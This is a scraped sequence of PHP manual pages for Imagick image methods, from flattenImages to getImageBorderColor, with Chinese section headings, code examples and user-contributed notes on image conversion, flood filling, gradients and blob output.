This function is deprecated and will throw a warning in PHP 5.6. Simply replace this call with Imagick::mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN) and it will behave the same way.
ureimers 10-Feb-2014 11:15
Small correction to Jairu5's code:

If you want to set the background color of a transparent image you have to set it _before_ loading the image.
Flattening images by default uses the background color 'white'. That's why Jairu5's code seem to work at first, but only until you want to actually change the background color to something different than white.

Try using this instead:

<?php

$im = new Imagick();
$im->setImageBackgroundColor('green');
$im->readimage('image.png');

$im = $im->flattenImages();

$im->setImageFormat('jpg');
$im->writeImage('image.jpg');

?>
Samuel Fine (hi at samuelfine dot com) 05-Dec-2011 09:32
This is also useful for accurately converting .ico files to .png. (Other types as well, in theory, but I've only tested ico->png.) Simply using setFormat will create a valid .png file, but will result in image artifacts if the original .ico had any transparency. The following code will create an accurate copy:

<?php

$im = new Imagick();

// When dealing with .ico files, make sure to setFormat before loading the image or you'll get a nasty exception. See https://bugs.php.net/bug.php?id=58515 for more details.
$im->setFormat("ico");

$im->readImage("favicon.ico");

$im = $im->flattenImages(); // Thanks for the tip, Jairu5!

$im->setFormat("png");

$new = fopen("favicon.png", "w");
$im->writeImageFile($new);
$im->clear();
$im->destroy();

?>
Jairu5 30-Nov-2010 08:29
Note that the function returns an Imagick object and does not modify the existing object. Below is my code for converting a PNG with transparency into a JPG with a background color. This code illustrates the difference.

<?php

$im = new Imagick('image.png');
$im->setImageBackgroundColor('white');

$im->flattenImages(); // This does not do anything.
$im = $im->flattenImages(); // Use this instead.

$im->setImageFormat('jpg');
$im->writeImage('image.jpg');

?>


Creates a vertical mirror image

  • ? Imagick::flattenImages
  • Imagick::floodFillPaintImage ?
  • PHP Manual
  • Imagick
  • Creates a vertical mirror image

Imagick::flipImage

(PECL imagick 2, PECL imagick 3)

Imagick::flipImage — Creates a vertical mirror image

说明

public Imagick::flipImage(): bool

Creates a vertical mirror image by reflecting the pixels around the central x-axis.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::flipImage()

<?php
function flipImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->flipImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

参见

  • Imagick::flopimage() - Creates a horizontal mirror image

User Contributed Notes

thenickdude 29-Mar-2021 06:58
The horizontal equivalent to this function is called transverseImage()
jeff at jeffharris dot us 06-Dec-2013 10:39
To avoid the x-axis and y-axis discussion, flipping emulates a mirror at the bottom (or top) of the image.
?o ??o?p ??? x-?x?s ?up ?-?x?s p?s?nss?ou, ???dd?u? ??n????s ? ????o? ?? ??? qo??o? )o? ?od( o? ??? ?????˙


Changes the color value of any pixel that matches target

  • ? Imagick::flipImage
  • Imagick::flopImage ?
  • PHP Manual
  • Imagick
  • Changes the color value of any pixel that matches target

Imagick::floodFillPaintImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::floodFillPaintImage — Changes the color value of any pixel that matches target

说明

public Imagick::floodFillPaintImage(
mixed $fill,
float $fuzz,
mixed $target,
int $x,
int $y,
bool $invert,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Changes the color value of any pixel that matches target and is an immediate neighbor. This method is a replacement for deprecated Imagick::paintFloodFillImage(). 此方法在Imagick基于ImageMagick 6.3.8以上版本编译时可用。

参数

fill

ImagickPixel object or a string containing the fill color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color.

target

ImagickPixel object or a string containing the target color to paint

x

X start position of the floodfill

y

Y start position of the floodfill

invert

If true paints any pixel that does not match the target color.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

示例

Example #1 Imagick::floodfillPaintImage() example

<?php

/* Create new imagick object */
$im = new Imagick();

/* create red, green and blue images */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* Append the images into one */
$im->resetIterator();
$combined = $im->appendImages(true);

/* Save the intermediate image for comparison */
$combined->writeImage("floodfillpaint_intermediate.png");

/* The target pixel to paint */
$x = 1;
$y = 1;

/* Get the color we are painting */
$target = $combined->getImagePixelColor($x, $y);

/* Paints pixel in position 1,1 black and all neighboring
pixels that match the target color */
$combined->floodfillPaintImage("black", 1, $target, $x, $y, false);

/* Save the result */
$combined->writeImage("floodfillpaint_result.png");
?>

以上示例的输出类似于：

Output of example : Imagick::floodfillPaintImage()
Output of example : Imagick::floodfillPaintImage()

User Contributed Notes

Anonymous 29-Sep-2018 03:05
For fuzz, percentage or float values do not seem to work. The value is based on the intensity of the image colors.

The documentation states: "The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color."

For those of us who are not graphics geeks, your color intensity might be something like 65535. In which case, to get just 10% fuzz, you need to set it to 6550.

You likely will not see any effect if you are using low numbers or floats, like 100, 20, or 0.8.

For example:
$im = new Imagick();
$transparentColor = new ImagickPixel('transparent');
$greenscreen = '#00FF08';    // Super bright green

$im->readImage("cartoon_dog.png");    // Cartoony dog with a black outline and a #00FF08 (super bright green) background.

// Replace the green background with transparent.

// Leaves significant green lines around the outline of the dog, which is unacceptable.
$im->floodFillPaintImage($transparentColor, 30, $greenscreen, 0, 0, false, Imagick::CHANNEL_ALPHA);

// Works as intended - removes all of the green background.
$im->floodFillPaintImage($transparentColor, 30000, $greenscreen, 0, 0, false, Imagick::CHANNEL_ALPHA);

Credit to the discussion here:
https://php5.kiev.ua/php7/imagick.painttransparentimage.html


Creates a horizontal mirror image

  • ? Imagick::floodFillPaintImage
  • Imagick::forwardFourierTransformImage ?
  • PHP Manual
  • Imagick
  • Creates a horizontal mirror image

Imagick::flopImage

(PECL imagick 2, PECL imagick 3)

Imagick::flopImage — Creates a horizontal mirror image

说明

public Imagick::flopImage(): bool

Creates a horizontal mirror image by reflecting the pixels around the central y-axis.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::flopImage()

<?php
function flopImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->flopImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

参见

  • Imagick::flipimage() - Creates a vertical mirror image

User Contributed Notes

There are no user contributed notes for this page.


Implements the discrete Fourier transform (DFT)

  • ? Imagick::flopImage
  • Imagick::frameImage ?
  • PHP Manual
  • Imagick
  • Implements the discrete Fourier transform (DFT)

Imagick::forwardFourierTransformImage

(PECL imagick 3 >= 3.3.0)

Imagick::forwardFourierTransformImage — Implements the discrete Fourier transform (DFT)

说明

public Imagick::forwardFourierTransformimage(bool $magnitude): bool

Implements the discrete Fourier transform (DFT) of the image either as a magnitude / phase or real / imaginary image pair.

参数

magnitude

If true, return as magnitude / phase pair otherwise a real / imaginary image pair.

返回值

成功时返回 true。

示例

Example #1 Imagick::forwardFourierTransformImage()

<?php
//Utility function for forwardTransformImage
function createMask() {
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(0);
$draw->setStrokeColor('rgb(255, 255, 255)');
$draw->setFillColor('rgb(255, 255, 255)');

//Draw a circle on the y-axis, with it's centre
//at x, y that touches the origin
$draw->circle(250, 250, 220, 250);

$imagick = new \Imagick();
$imagick->newImage(512, 512, "black");
$imagick->drawImage($draw);
$imagick->gaussianBlurImage(20, 20);
$imagick->autoLevelImage();

return $imagick;
}

function forwardFourierTransformImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->resizeimage(512, 512, \Imagick::FILTER_LANCZOS, 1);

$mask = createMask();
$imagick->forwardFourierTransformImage(true);

@$imagick->setimageindex(0);
$magnitude = $imagick->getimage();

@$imagick->setimageindex(1);
$imagickPhase = $imagick->getimage();

if (true) {
$imagickPhase->compositeImage($mask, \Imagick::COMPOSITE_MULTIPLY, 0, 0);
}

if (false) {
$output = clone $imagickPhase;
$output->setimageformat('png');
header("Content-Type: image/png");
echo $output->getImageBlob();
}

$magnitude->inverseFourierTransformImage($imagickPhase, true);

$magnitude->setimageformat('png');
header("Content-Type: image/png");
echo $magnitude->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Adds a simulated three-dimensional border

  • ? Imagick::forwardFourierTransformImage
  • Imagick::functionImage ?
  • PHP Manual
  • Imagick
  • Adds a simulated three-dimensional border

Imagick::frameImage

(PECL imagick 2, PECL imagick 3)

Imagick::frameImage — Adds a simulated three-dimensional border

说明

public Imagick::frameImage(
mixed $matte_color,
int $width,
int $height,
int $inner_bevel,
int $outer_bevel
): bool

Adds a simulated three-dimensional border around the image. The width and height specify the border width of the vertical and horizontal sides of the frame. The inner and outer bevels indicate the width of the inner and outer shadows of the frame.

参数

matte_color

ImagickPixel object or a string representing the matte color

width

The width of the border

height

The height of the border

inner_bevel

The inner bevel width

outer_bevel

The outer bevel width

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

示例

Example #1 Imagick::frameImage()

<?php
function frameImage($imagePath, $color, $width, $height, $innerBevel, $outerBevel) {
$imagick = new \Imagick(realpath($imagePath));

$width = $width + $innerBevel + $outerBevel;
$height = $height + $innerBevel + $outerBevel;

$imagick->frameimage(
$color,
$width,
$height,
$innerBevel,
$outerBevel
);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Applies a function on the image

  • ? Imagick::frameImage
  • Imagick::fxImage ?
  • PHP Manual
  • Imagick
  • Applies a function on the image

Imagick::functionImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::functionImage — Applies a function on the image

说明

public Imagick::functionImage(int $function, array $arguments, int $channel = Imagick::CHANNEL_DEFAULT): bool

Applies an arithmetic, relational, or logical expression to a pseudo image.

See also » ImageMagick v6 Examples - Image Transformations — Function, Multi-Argument Evaluate

此方法在Imagick基于ImageMagick 6.4.9以上版本编译时可用。

参数

function

Refer to this list of function constants

arguments

Array of arguments to pass to this function.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Create a sinusoidal gradient

<?php
$imagick = new Imagick();
$imagick->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(3, -90);
$imagick->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);

header("Content-Type: image/png");
$imagick->setImageFormat("png");
echo $imagick->getImageBlob();
?>

以上示例的输出类似于：

Output of create a sinusoidal gradient

Example #2 Create a gradient from the polynomial (4x^2 - 4x + 1)

<?php
$imagick = new Imagick();
$imagick->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(4, -4, 1);
$imagick->functionImage(Imagick::FUNCTION_POLYNOMIAL, $arguments);

header("Content-Type: image/png");
$imagick->setimageformat("png");
echo $imagick->getImageBlob();
?>

以上示例的输出类似于：

Output of create a polynomial gradient

Example #3 Create a complex gradient from the polynomial (4x^2 - 4x^2 + 1) modulated by a sinusoidal gradient

<?php
$imagick1 = new Imagick();
$imagick1->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(9, -90);
$imagick1->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);

$imagick2 = new Imagick();
$imagick2->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(0.5, 0);
$imagick2->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);
$imagick1->compositeimage($imagick2, Imagick::COMPOSITE_MULTIPLY, 0, 0);

header("Content-Type: image/png");
$imagick1->setImageFormat("png");
echo $imagick1->getImageBlob();
?>

以上示例的输出类似于：

Output of create complex gradient

User Contributed Notes

There are no user contributed notes for this page.


Evaluate expression for each pixel in the image

  • ? Imagick::functionImage
  • Imagick::gammaImage ?
  • PHP Manual
  • Imagick
  • Evaluate expression for each pixel in the image

Imagick::fxImage

(PECL imagick 2, PECL imagick 3)

Imagick::fxImage — Evaluate expression for each pixel in the image

说明

public Imagick::fxImage(string $expression, int $channel = Imagick::CHANNEL_DEFAULT): Imagick

Evaluate expression for each pixel in the image. Consult » The Fx Special Effects Image Operator for more information.

参数

expression

The expression.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::fxImage()

<?php
function fxImage() {
$imagick = new \Imagick();
$imagick->newPseudoImage(200, 200, "xc:white");

$fx = 'xx=i-w/2; yy=j-h/2; rr=hypot(xx,yy); (.5-rr/140)*1.2+.5';
$fxImage = $imagick->fxImage($fx);

header("Content-Type: image/png");
$fxImage->setimageformat('png');
echo $fxImage->getImageBlob();
}

?>

User Contributed Notes

thomasgf22 at NOSPAM dot gmail dot com 16-May-2014 02:00
Beware that fxImage return value's type is a new object(Imagick), opposing the current documentation (boolean). Therefore it does not affect the caller object. Example:
<?php
            $canvas = new Imagick();
            $canvas->newImage(256, 256, "white", "jpg");

            $gradient = new Imagick();
            $gradient->newPseudoImage(256, 256, "gradient:white-black");
            $canvas->compositeImage( $gradient, imagick::COMPOSITE_OVER, 0, 0 );
            $canvas->rotateImage(new ImagickPixel(), 90);
            /*instead of just $canvas->fxImage("floor(s*10+0.5)/10"); we must store fxImage()'s result*/
            $canvas= $canvas->fxImage("floor(s*10+0.5)/10");

            header( "Content-Type: image/jpg" );
            echo $canvas;
?>


Gamma-corrects an image

  • ? Imagick::fxImage
  • Imagick::gaussianBlurImage ?
  • PHP Manual
  • Imagick
  • Gamma-corrects an image

Imagick::gammaImage

(PECL imagick 2, PECL imagick 3)

Imagick::gammaImage — Gamma-corrects an image

说明

public Imagick::gammaImage(float $gamma, int $channel = Imagick::CHANNEL_DEFAULT): bool

Gamma-corrects an image. The same image viewed on different devices will have perceptual differences in the way the image's intensities are represented on the screen. Specify individual gamma levels for the red, green, and blue channels, or adjust all three with the gamma parameter. Values typically range from 0.8 to 2.3.

参数

gamma

The amount of gamma-correction.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::gammaImage()

<?php
function gammaImage($imagePath, $gamma, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->gammaImage($gamma, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

majidted at gmail dot com 19-Mar-2018 12:59
You should use PECL to install this library. Or if you are using composer like me, you should use this packagist package or the similar packages:

"https://packagist.org/packages/tpmanc/yii2-imagick"


Blurs an image

  • ? Imagick::gammaImage
  • Imagick::getColorspace ?
  • PHP Manual
  • Imagick
  • Blurs an image

Imagick::gaussianBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::gaussianBlurImage — Blurs an image

说明

public Imagick::gaussianBlurImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool

Blurs an image. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, the radius should be larger than sigma. Use a radius of 0 and selects a suitable radius for you.

参数

radius

The radius of the Gaussian, in pixels, not counting the center pixel.

sigma

The standard deviation of the Gaussian, in pixels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::gaussianBlurImage()

<?php
function gaussianBlurImage($imagePath, $radius, $sigma, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->gaussianBlurImage($radius, $sigma, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Gets the colorspace

  • ? Imagick::gaussianBlurImage
  • Imagick::getCompression ?
  • PHP Manual
  • Imagick
  • Gets the colorspace

Imagick::getColorspace

(PECL imagick 3)

Imagick::getColorspace — Gets the colorspace

说明

public Imagick::getColorspace(): int

Gets the global colorspace value. 此方法在Imagick基于ImageMagick 6.5.7以上版本编译时可用。

参数

此函数没有参数。

返回值

Returns an integer which can be compared against COLORSPACE constants.

User Contributed Notes

There are no user contributed notes for this page.


Gets the object compression type

  • ? Imagick::getColorspace
  • Imagick::getCompressionQuality ?
  • PHP Manual
  • Imagick
  • Gets the object compression type

Imagick::getCompression

(PECL imagick 2, PECL imagick 3)

Imagick::getCompression — Gets the object compression type

说明

public Imagick::getCompression(): int

Gets the object compression type.

参数

此函数没有参数。

返回值

Returns the compression constant

User Contributed Notes

holdoffhunger at gmail dot com 16-May-2012 11:11
The ImageMagick PHP function for getCompression returns an integer representing the value associated with the ImageMagick Compression constant.  You'll get numbers from 0 to 13, each representing a different particular type of compression.  If printed out, the ImageMagick constants for compression come out as...

imagick::COMPRESSION_UNDEFINED    0
imagick::COMPRESSION_NO    1
imagick::COMPRESSION_BZIP    2
imagick::COMPRESSION_DXT1    3
imagick::COMPRESSION_DXT3    4
imagick::COMPRESSION_DXT5    5
imagick::COMPRESSION_FAX    6
imagick::COMPRESSION_GROUP4    7
imagick::COMPRESSION_JPEG    8
imagick::COMPRESSION_JPEG2000    9
imagick::COMPRESSION_LOSSLESSJPEG    10
imagick::COMPRESSION_LZW    11
imagick::COMPRESSION_RLE    12
imagick::COMPRESSION_ZIP    13

Every time I have used this, whether on a jpeg image, a png image, a gif image, or a bmp image, it has always returned '0' as a value.  There's a good chance that this is simply a value that is set by means of get/set, as opposed to actually producing values for a given image.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_compression = $imagick_type->getCompression();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print($imagick_type_compression);
    print("</pre>");

?>


Gets the object compression quality

  • ? Imagick::getCompression
  • Imagick::getCopyright ?
  • PHP Manual
  • Imagick
  • Gets the object compression quality

Imagick::getCompressionQuality

(PECL imagick 2, PECL imagick 3)

Imagick::getCompressionQuality — Gets the object compression quality

说明

public Imagick::getCompressionQuality(): int

Gets the object compression quality.

参数

此函数没有参数。

返回值

Returns integer describing the compression quality

User Contributed Notes

There are no user contributed notes for this page.


Returns the ImageMagick API copyright as a string

  • ? Imagick::getCompressionQuality
  • Imagick::getFilename ?
  • PHP Manual
  • Imagick
  • Returns the ImageMagick API copyright as a string

Imagick::getCopyright

(PECL imagick 2, PECL imagick 3)

Imagick::getCopyright — Returns the ImageMagick API copyright as a string

说明

public static Imagick::getCopyright(): string

Returns the ImageMagick API copyright as a string.

参数

此函数没有参数。

返回值

Returns a string containing the copyright notice of Imagemagick and Magickwand C API.

User Contributed Notes

There are no user contributed notes for this page.


The filename associated with an image sequence

  • ? Imagick::getCopyright
  • Imagick::getFont ?
  • PHP Manual
  • Imagick
  • The filename associated with an image sequence

Imagick::getFilename

(PECL imagick 2, PECL imagick 3)

Imagick::getFilename — The filename associated with an image sequence

说明

public Imagick::getFilename(): string

Returns the filename associated with an image sequence.

参数

此函数没有参数。

返回值

Returns a string on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

SkepticaLee 18-Nov-2015 04:10
This function is obviously deprecated as it only returns a zero-length string. The file name (with complete path) is returned by getImageFilename () instead.


Gets font

  • ? Imagick::getFilename
  • Imagick::getFormat ?
  • PHP Manual
  • Imagick
  • Gets font

Imagick::getFont

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::getFont — Gets font

说明

public Imagick::getFont(): string

Returns the objects font property. 此方法在Imagick基于ImageMagick 6.3.7以上版本编译时可用。

参数

此函数没有参数。

返回值

Returns the string containing the font name or false if not font is set.

参见

  • Imagick::setFont() - Sets font
  • ImagickDraw::setFont() - Sets the fully-specified font to use when annotating with text
  • ImagickDraw::getFont() - Returns the font

User Contributed Notes

There are no user contributed notes for this page.


Returns the format of the Imagick object

  • ? Imagick::getFont
  • Imagick::getGravity ?
  • PHP Manual
  • Imagick
  • Returns the format of the Imagick object

Imagick::getFormat

(PECL imagick 2, PECL imagick 3)

Imagick::getFormat — Returns the format of the Imagick object

说明

public Imagick::getFormat(): string

Returns the format of the Imagick object.

参数

此函数没有参数。

返回值

Returns the format of the image.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

Test 01-May-2019 01:08
This example doesn't work for the files that have been incorrectly saved or corrupted and have (jpg extension but the image is png)
holdoffhunger at gmail dot com 17-May-2012 11:02
The getFormat function merely returns the value of the image format, which is not automatically loaded when you read an image.  The value you're getting back, then, is merely the value that you set the format to using the setFormat function.  That function takes pretty much any string that matches a popular or well-known image filename.  It accepts "jpeg" and "gif", but errors out on anything that is not an image filename, like "xyz123" or "zip".  How do you know what filetypes you can enter?  Use the PHP ImageMagick function 'queryFormats'.  If you want to know what type of file you have, you should try using the PHP page for the function 'filetype'.  Or, on the other hand, you can use the ImageMagick function getImageFormat (as opposed to the ImageMagick function getFormat).  The difference is that getImageFormat actually returns the format of the inputted image.

And now, a simple demonstration of the set/get activity in the Format :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Set/Get Format
        // ---------------------------------------------

    $imagick_type->setFormat("bmp");
    $imagick_type_format = $imagick_type->getFormat();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print($imagick_type_format);
    print("</pre>");

?>


Gets the gravity

  • ? Imagick::getFormat
  • Imagick::getHomeURL ?
  • PHP Manual
  • Imagick
  • Gets the gravity

Imagick::getGravity

(PECL imagick 2, PECL imagick 3)

Imagick::getGravity — Gets the gravity

说明

public Imagick::getGravity(): int

Gets the global gravity property for the Imagick object. 此方法在Imagick基于ImageMagick 6.4.0以上版本编译时可用。

参数

此函数没有参数。

返回值

Returns the gravity property. Refer to the list of gravity constants.

User Contributed Notes

Ahmad 10-May-2023 10:50
GRAVITY_NORTHWEST: 1
GRAVITY_NORTH: 2
GRAVITY_NORTHEAST: 3
GRAVITY_WEST: 4
GRAVITY_CENTER: 5
GRAVITY_EAST: 6
GRAVITY_SOUTHWEST: 7
GRAVITY_SOUTH: 8
GRAVITY_SOUTHEAST: 9

Default is: 0


Returns the ImageMagick home URL

  • ? Imagick::getGravity
  • Imagick::getImage ?
  • PHP Manual
  • Imagick
  • Returns the ImageMagick home URL

Imagick::getHomeURL

(PECL imagick 2, PECL imagick 3)

Imagick::getHomeURL — Returns the ImageMagick home URL

说明

public static Imagick::getHomeURL(): string

Returns the ImageMagick home URL.

参数

此函数没有参数。

返回值

Returns a link to the imagemagick homepage.

User Contributed Notes

There are no user contributed notes for this page.


Returns a new Imagick object

  • ? Imagick::getHomeURL
  • Imagick::getImageAlphaChannel ?
  • PHP Manual
  • Imagick
  • Returns a new Imagick object

Imagick::getImage

(PECL imagick 2, PECL imagick 3)

Imagick::getImage — Returns a new Imagick object

说明

public Imagick::getImage(): Imagick

Returns a new Imagick object with the current image sequence.

参数

此函数没有参数。

返回值

Returns a new Imagick object with the current image sequence.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

Abe 06-May-2021 12:56
<?php

// Create a new imagick object
$imagick = new Imagick();

// Read the image
$pngfn='myfile.png';
$imagick->readImage($pngfn);

// Display the image
header("Content-Type: image/png");
echo $imagick->getImageBlob();
?>


检查图像是否有 alpha 通道

  • ? Imagick::getImage
  • Imagick::getImageArtifact ?
  • PHP Manual
  • Imagick
  • 检查图像是否有 alpha 通道

Imagick::getImageAlphaChannel

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageAlphaChannel — 检查图像是否有 alpha 通道

说明

public Imagick::getImageAlphaChannel(): bool

返回图像是否有 alpha 通道。

参数

此函数没有参数。

返回值

如果图像具有 alpha 通道值，则返回 true，否则返回 false，即图像是 RGB 而不是 RGBA 或 CMYK 而不是 CMYKA。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
imagick 3.6.0 | 现在返回 bool；之前返回 int。

User Contributed Notes

phroggar 17-Feb-2022 08:54
You want to check wether an image has an alpha channel? But you have no control which Imagick Version is used?

Background:

Method available since ImageMagick 6.4.0
Method returns boolean instead of int since 6.9.x

Example:

$image= new Imagick();
$image->readImage($source_file);

$imageHasAlphaChannel = (method_exists($image, 'getImageAlphaChannel') && ($document->getImageAlphaChannel() === \Imagick::ALPHACHANNEL_ACTIVATE || $document->getImageAlphaChannel()  === true));


Get image artifact

  • ? Imagick::getImageAlphaChannel
  • Imagick::getImageAttribute ?
  • PHP Manual
  • Imagick
  • Get image artifact

Imagick::getImageArtifact

(PECL imagick 3)

Imagick::getImageArtifact — Get image artifact

说明

public Imagick::getImageArtifact(string $artifact): string

Gets an artifact associated with the image. The difference between image properties and image artifacts is that properties are public and artifacts are private. 此方法在Imagick基于ImageMagick 6.5.7以上版本编译时可用。

参数

artifact

The name of the artifact

返回值

Returns the artifact value on success.

错误／异常

错误时抛出 ImagickException。

参见

  • Imagick::setImageArtifact() - Set image artifact
  • Imagick::deleteImageArtifact() - Delete image artifact

User Contributed Notes

There are no user contributed notes for this page.


Returns a named attribute

  • ? Imagick::getImageArtifact
  • Imagick::getImageBackgroundColor ?
  • PHP Manual
  • Imagick
  • Returns a named attribute

Imagick::getImageAttribute

(PECL imagick 2, PECL imagick 3)

Imagick::getImageAttribute — Returns a named attribute

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::getImageAttribute(string $key): string

Returns a named attribute.

参数

key

The key of the attribute to get.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Returns the image background color

  • ? Imagick::getImageAttribute
  • Imagick::getImageBlob ?
  • PHP Manual
  • Imagick
  • Returns the image background color

Imagick::getImageBackgroundColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBackgroundColor — Returns the image background color

说明

public Imagick::getImageBackgroundColor(): ImagickPixel

Returns the image background color.

参数

此函数没有参数。

返回值

Returns an ImagickPixel set to the background color of the image.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image sequence as a blob

  • ? Imagick::getImageBackgroundColor
  • Imagick::getImageBluePrimary ?
  • PHP Manual
  • Imagick
  • Returns the image sequence as a blob

Imagick::getImageBlob

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBlob — Returns the image sequence as a blob

说明

public Imagick::getImageBlob(): string

Implements direct to memory image formats. It returns the image sequence as a string. The format of the image determines the format of the returned blob (GIF, JPEG, PNG, etc.). To return a different image format, use Imagick::setImageFormat().

参数

此函数没有参数。

返回值

Returns a string containing the image.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

jim at jimohalloran dot com 30-Jul-2021 06:00
Further to Trevor's note above about getImageBlob potentially returning an empty string for large images.

This seems image format dependent.  I have a large (12046x8363) image which is returned ok.  But if I call setImageFormat('pdf') and then call getImageBlob() again.  Example:

<?php
// Image Manipulation here.
$pngData = $imagick->getImageBlob();  // Returns a large PNG.
$imagick->setImageFormat('pdf');
$pdfData = $imagick->getImageBlob(); // Returns empty string immediately
?>
Vee W 19-Apr-2016 06:29
For who want to show "animated" gif. This getImageBlob() will showing only one frame of image.
Use getImagesBlob() instead.

Example:

<?php
$Imagick = new \Imagick($real_source_image_path_animated_gif);
header("Content-Type: image/gif");
echo $Imagick->getImagesBlob();
?>
Trevor 01-Dec-2011 03:41
It seems that this method can return a zero-length string if faced with large-ish data.  No exceptions are thrown.

<?php
  $image = new Imagick();
  if (!$image->newImage(1000,1,'white')) throw new Exception();
  if (!$image->scaleImage(0,200)) throw new Exception();
  print "Image size: {$image->getImageWidth()},{$image->getImageHeight()}\n";
  if (!$image->setImageFormat("jpeg")) throw new Exception();
  $a = $image->getImageBlob();
  print "Rendered to ".strlen($a)." bytes\n";
?>

Restrict your output image size, or ensure that the blob you get back isn't empty.  (Note that IM seems to be doing the work, it delays for some time.  But there's no indication of any error anywhere.)


Returns the chromaticy blue primary point

  • ? Imagick::getImageBlob
  • Imagick::getImageBorderColor ?
  • PHP Manual
  • Imagick
  • Returns the chromaticy blue primary point

Imagick::getImageBluePrimary

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBluePrimary — Returns the chromaticy blue primary point

说明

public Imagick::getImageBluePrimary(): array

Returns the chromaticity blue primary point for the image.

参数

x

The chromaticity blue primary x-point.

y

The chromaticity blue primary y-point.

返回值

Array consisting of "x" and "y" coordinates of point.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the image border color

  • ? Imagick::getImageBluePrimary
  • Imagick::getImageChannelDepth ?
  • PHP Manual
  • Imagick
  • Returns the image border color

Imagick::getImageBorderColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBorderColor — Returns the image border color

说明

public Imagick::getImageBorderColor(): ImagickPixel

Returns the image border color.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the depth for a particular image channel

  • ? Imagick::getImageBorderColor
  • Imagick::getImageChannelDistortion ?
  • PHP Manual
  • Imagick
  • Gets the depth for a particular image channel

